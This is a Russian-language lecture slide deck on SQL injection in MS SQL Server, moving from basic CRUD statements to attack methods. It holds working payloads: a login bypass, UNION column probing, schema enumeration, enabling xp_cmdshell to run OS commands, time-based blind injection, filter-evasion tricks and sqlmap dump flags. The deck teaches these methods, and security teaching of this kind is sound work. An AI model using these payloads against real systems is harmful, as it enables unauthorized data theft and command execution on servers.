3.07M
Category: databasedatabase

SQL-инъекции

1.

SQL-инъекции

2.

Как работают Web-приложения

3.

База данных
База данных (БД) – это файл(ы) данных, предназначенные для хранения,
изменения и обработки больших объемов взаимосвязанной информации.
Система управления БД (СУБД) – это программное обеспечение,
позволяющее обрабатывать обращения к БД.
Пример:
• MS SQL Server
• MySQL
• Oracle
• PostgreSQL
• MongoDB

4.

SQL
SQL – язык программирования, применяемый через СУБД для создания,
модификации и управления данными в БД.
В MS SQL Server БД состоит из двух частей:
• Файл данных – «.mdf», где находятся все таблицы и запросы.
• Файл журнала транзакций – «.ldf», содержит журнал, где фиксируются
все действия с БД. Предназначен для восстановления БД в случае её
выхода из строя.

5.

Запросы к БД
CRUD – акроним, обозначающий четыре базовые функции, используемые
при работе с базами данных: создание (create), чтение (read), модификация
(update), удаление (delete).
• INSERT – оператор языка SQL, который позволяет добавлять строки в таблицу,
заполняя их значениями.
• SELECT – оператор языка SQL, возвращающий набор данных их БД.
• UPDATE – оператор языка SQL, позволяющий обновить значения в заданных
столбцах таблицы.
• DELETE – оператор языка SQL, предназначенный для удаления записей из
таблицы.

6.

INSERT
INSERT – оператор языка SQL, который позволяет добавлять строки в
таблицу, заполняя их значениями.
Синтаксис:
INSERT INTO <Название таблицы> (<Имя столбца>, ...) VALUES (<Значение>, ...)
Пример:
INSERT INTO [knastu].[dbo].[Users]
([Student], [Group], [Course])
VALUES
('Kozhin.IA', '9KB-1', 5)

7.

SELECT
SELECT – оператор языка SQL, возвращающий набор данных их БД.
Синтаксис:
SELECT <Список полей> FROM <Название таблицы> WHERE <Условия>
Пример:
SELECT [Id], [Student], [Group],
[Course] FROM [knastu].[dbo].[Users]
WHERE [Course] = 5
Если необходимо выбрать все поля, можно использовать знак «*».

8.

UPDATE
UPDATE – оператор языка SQL, позволяющий обновить значения в
заданных столбцах таблицы.
Синтаксис:
UPDATE <Название таблицы> SET <Имя столбца> = <Значение>, ... WHERE <Условия>
Пример:
UPDATE [knastu].[dbo].[Users]
SET [Course] = 5
WHERE [Group] = '9KB-1'

9.

DELETE
DELETE – оператор языка SQL, предназначеный для удаления записей
из таблицы.
Синтаксис:
DELETE <Название таблицы> WHERE <Условия>
Пример:
DELETE [knastu].[dbo].[Users]
WHERE [Student] = 'Kozhin.IA'

10.

SQL-инъекции
SQL-инъекция – внедрение в запрос к БД произвольного SQL-кода. Предполагая как формируется
запрос можно проводить SQL-инъекции.

11.

Пример кода уязвимого для SQL-инъекций
Если пользователь вводит «Admin» / «123456Qq»,
аутентификация работает как предполагает
разработчик.
Так как данные с формы попадают напрямую в
запрос, злоумышленник может провести SQLинъекцию.
Если пользователь вводит «' or 1 = 1 --» / «something»,
реализуется SQL-инъекция.

12.

Произвольный запрос через SQL-инъекцию
Через SQL-инъекцию можно выполнить произвольный
SQL запрос.
В примере сформируется запрос, который добавит
пользователя «hacker» с паролем «123456Qq».

13.

Вывод результата
Список записей
Одна запись
Нет вывода
Чем меньше выводится записей, тем сложнее получать результат от SQL-инъекции.
Но даже при отсутствии вывода можно использовать SQL-инъекции для получения
информации.

14.

Вывод ошибок
SQL ответ
Обобщённый вид

15.

Обнаружение SQL-инъекций
Для обнаружения SQL-инъекции можно
вводить различные символы
используемые в языке SQL («'», «"», «--»,
«;», «)» и т.п.) в различные элементы
сайта.
Если после ввода символа появляется
ошибка, то SQL-инъекция возможна с
большой вероятностью.

16.

<запрос1>
UNION
<запрос2>
UNION
Операция UNION применяется для объединения двух наборов строк, возвращаемых
SQL-запросами. Оба запроса должны возвращать одинаковое число столбцов, и столбцы
с одинаковым порядковым номером должны иметь совместимые типы данных.
Пример:
Запрос:
Books
Id
Title
1
Math
2
IT
SELECT [LastName] FROM Authors UNION SELECT [Title] FROM Books
Результат:
LastName
IT
Authors
Id
FirstName
LastName
Kozhin
1
Igor
Kozhin
Math

17.

Определение структуры запроса через UNION
Обнаружив уязвимый запрос для SQL-инъекций, можно определить структуру
запроса через UNION.
Если запрос должен возвращать список, то через
промежуточную таблицу можно выяснить
количество полей в запросе. Добавляем по одному
полю до тех пор пока ошибка не изменится, либо
вовсе не исчезнет.
После определения количества полей в таблице,
скорее всего ошибка изменится на несоответствие
типов данных. Изменяем типы данных до тех пор
пока не исчезнут все ошибки.
' union select 1
' union select 1,1
' union select 1,1,1
' union select 1,1,1,1
' union select 1,1,1,1,1
' union select 1,1,1,1,1,1
' union select 1,1,1,1,1,1
' union select 'a',1,1,1,1,1
' union select 1,'a',1,1,1,1
' union select 1,1,'a',1,1,1
' union select 1,1,1,'a',1,1

18.

Развитие SQL-инъекции
Если удается определить структуру запроса и провести тестовую SQL-инъекцию,
то через нее можно узнать:
Версию SQL
Название баз данных
Название таблиц в базе данных
Название столбцов в базе данных
Вывести значения из таблицы
Выполнить произвольную команду ОС

19.

Вывод версии SQL
Запрос на вывод версии SQL:
SELECT @@VERSION

20.

Вывод баз данных
Запрос на получение всех БД:
SELECT * FROM sys.databases

21.

Вывод всех таблиц
Запрос на получение всех таблиц в БД:
SELECT * FROM INFORMATION_SCHEMA.TABLES
В поле «TABLE_NAME» храниться
имена таблиц.

22.

Вывод всех столбцов
Запрос на получение всех столбцов в БД:
SELECT * FROM INFORMATION_SCHEMA.COLUMNS
В поле «COLUMN_NAME»
хранятся имена полей
таблиц.

23.

Взаимодействие с ОС
СУБД может взаимодействовать с ОС, таким образом можно получить информацию о
компьютере. Стандартно данная функция отключена, но ее можно включить выполнив:
exec sp_configure 'show advanced option', '1'
reconfigure
exec sp_configure 'xp_cmdshell', '1'
reconfigure
Выполнить команду CMD:
exec xp_cmdshell 'ping 8.8.8.8'
По умолчанию права выданы только на
чтение.

24.

Пример взаимодействия с ОС
Для получения результата от ОС можно воспользоваться следующим методом:
1) Включить возможность взаимодействия с ОС.
exec sp_configure 'show advanced option', '1';reconfigure;
exec sp_configure 'xp_cmdshell', '1';reconfigure;
2) Создать временную таблицу. После чего записать в нее результат произвольной
команды CMD.
CREATE TABLE Hacker(value nvarchar(max));
INSERT Hacker(value) EXEC xp_cmdshell N'ipconfig';
3) Получить данные из временной таблицы.
4) Удалить временную таблицу.
DROP TABLE Hacker

25.

Слепые SQL-инъекции
Слепая SQL-инъекция - это тип атаки SQL-инъекции, которая задает БД
вопросы на Да/Нет и определяет ответ на основе задержки.
Слепая SQL-инъекция используется, когда веб-приложение уязвимо для
SQL-инъекции, но результаты инъекции не видны.
Создание задержки в MS SQL Server:
waitfor delay '00:00:05'
Создание задержки в MySQL:
sleep(5)

26.

Количество таблиц
Для получения количества таблиц, через слепые SQL-инъекции, можно использовать
следующий запрос:
DECLARE @temp int;
SELECT @temp = COUNT(*) FROM INFORMATION_SCHEMA.TABLES;
IF (@temp = 17)BEGIN WAITFOR DELAY '00:00:05' END
В запросе объявляется переменная temp в которую сохраняется количество таблиц.
Далее temp сравнивается с константой. Если условие выполняется, по происходит
задержка, иначе ничего. В условии можно использовать операторы больше, меньше,
равно.

27.

Перебор через подстроку
Значение каких-либо объектов можно перебирать через подстроку. Например, для
получения названия таблиц, через слепые SQL-инъекции, можно использовать
следующий запрос:
DECLARE @temp int;
SELECT @temp = COUNT(*) FROM INFORMATION_SCHEMA.TABLES
WHERE ascii(SUBSTRING(TABLE_NAME,1,1)) = 65;
IF (@temp >= 1)BEGIN WAITFOR DELAY '00:00:05' END

28.

Перебор через маску
Значение каких-либо объектов можно перебирать через маску. Например, для
получения названия таблиц, через слепые SQL-инъекции, можно использовать
следующий запрос:
DECLARE @temp int;
SELECT @temp = COUNT(*) FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE 'Ten___';
IF (@temp >= 1)BEGIN WAITFOR DELAY '00:00:05' END

29.

Обход экранирования символов
1) /**/ - пробел
2) selSELECTect - если заменяется ключевое слово на пусто
3) SeLeCt - если проверяется ключевое слово с учетом регистра
4) Строку можно указать в виде HEX, например, 0x7161 (в MySQL
работает)

30.

SQL-инъекции через HTTP запросы
Postman
SQL-инъекции можно проводить через GET или POST запрос, когда нет возможности
ввода на форму, но данные отправляются на сервер.
Postman – программа,
позволяющая
генерировать
произвольные HTTP
запросы.

31.

sqlmap
sqlmap – это инструмент с
открытым исходным кодом для
тестирования на проникновение,
который автоматизирует процесс
выявления и эксплуатации
уязвимости SQL-инъекций.

32.

Пример использования sqlmap
Команда:
Цель можно задать через URL. По
умолчанию используется GET запрос.
-u <URL>
Если в запросе используется один
параметр, то через него будет
выполняться поиск SQL-инъекций. Если
же параметров несколько то
необходимо явно указать используемый
параметр для выполнения SQLинъекции.
-p <PARAMETER>
Для вывода информации о БД нужно
использовать ключ «-b».
Результат:

33.

Перечислить базы данных через sqlmap
Для перечисления баз
данных нужно использовать
ключ «--dbs».
Команда:
Результат:

34.

Перечислить таблицы БД через sqlmap
Команда:
Можно указать БД с которой
мы хотим работать.
-D <DATABASE>
Результат:
Для перечисления таблиц
базы данных нужно
использовать ключ «--tables».

35.

Перечислить колонки таблицы через sqlmap
Можно указать таблицу с
которой мы хотим работать.
Команда:
-T <TABLE>
Для перечисления колонок
таблицы нужно использовать
ключ «--columns».
Результат:

36.

Перечислить все записи через sqlmap
Команда:
Для перечисления всех
записей таблицы нужно
использовать ключ «--dump».
Результат:
English     Русский Rules